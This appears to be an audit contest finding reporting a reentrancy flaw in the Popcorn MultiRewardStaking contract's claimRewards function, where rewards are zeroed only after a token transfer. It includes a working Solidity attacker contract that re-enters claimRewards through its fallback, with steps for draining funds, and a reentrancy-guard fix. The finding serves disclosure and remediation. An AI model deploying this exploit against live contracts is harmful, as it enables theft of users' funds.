Popcorn contest - orion's results

Lines of code

https://github.com/code-423n4/2023-01-popcorn//blob/main/src/vault/PermissionRegistry.sol#L55

Vulnerability details

Impact

Successful attack may allows the attacker to drain the MultiRewardStaking contract

Proof of Concept

the claimRewards function on MultiRewardStaking contract is the one responsible for transfering the rewards to the msg.sender, the function accepts an array of rewardToken it checks them, and then it processes the rewards, eventually it sets the rewards to be claimed for the user to 0 :

function claimRewards(address user, IERC20[] memory _rewardTokens) external accrueRewards(msg.sender, user) {
    for (uint8 i; i < _rewardTokens.length; i++) {
      ...
      } else {
        _rewardTokens[i].transfer(user, rewardAmount);
        ...

      accruedRewards[user][_rewardTokens[i]] = 0;
    }
  }

The function sets the accruedRewards[user][_rewardTokens[i]] to 0 after the transfer is done, if the owners add (addRewardToken) a token that hooks a call to the receiver (as such ERC777) the attacker can drain that contract, consider the following scenario :

1. After the contract owner sets a rewardToken that hooks a call to the receiver
2. Attacker (as contract) fundReward with that token, with some funds

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.15;

contract test {
  address ow;
  MultiRewardStaking public vuln;
  address[] public vrtoken;
  bool istt;
 
  function initiate(MultiRewardStaking _vuln,address[] memory vrtokens,uint256 amount) external  {
   if(!istt) {
      vrtoken = vrtokens;
      vuln = _vuln;
      ow = msg.sender;
      istt = true;
   }
     for (uint8 i; i < vrtokens.length; i++) {
       IERC20(vrtokens[i]).transferFrom(msg.sender, address(this), amount);
      // require(a,"gain approval, or you don't have funds");
    }
      vuln.fundReward(vrtoken, amount - 1); 
     // require(b,"gain approval, or you don't have funds");
      
  }
  function attack() public {
     vuln.claimRewards(tx.origin, vrtoken);
  }
  fallback() payable public {
     attack();
  }
  function kill() external payable {
     selfdestruct(payable(ow));
  }
}

3. on the rewardToken mint MultiRewardStaking 1100 tokens and yourself 150
4. Call initiate, (Gain approval on the rewardToken with hooks to test contract) with MultiRewardStaking as vuln and the rewardToken as the vrtokens array, and amout the amount you have
5. Call attack, while you were supposed to receive 98 + shares, see that you got 993 token

Tools used :

Manual review

Recommendation :

Add nonReentrancy guard on the function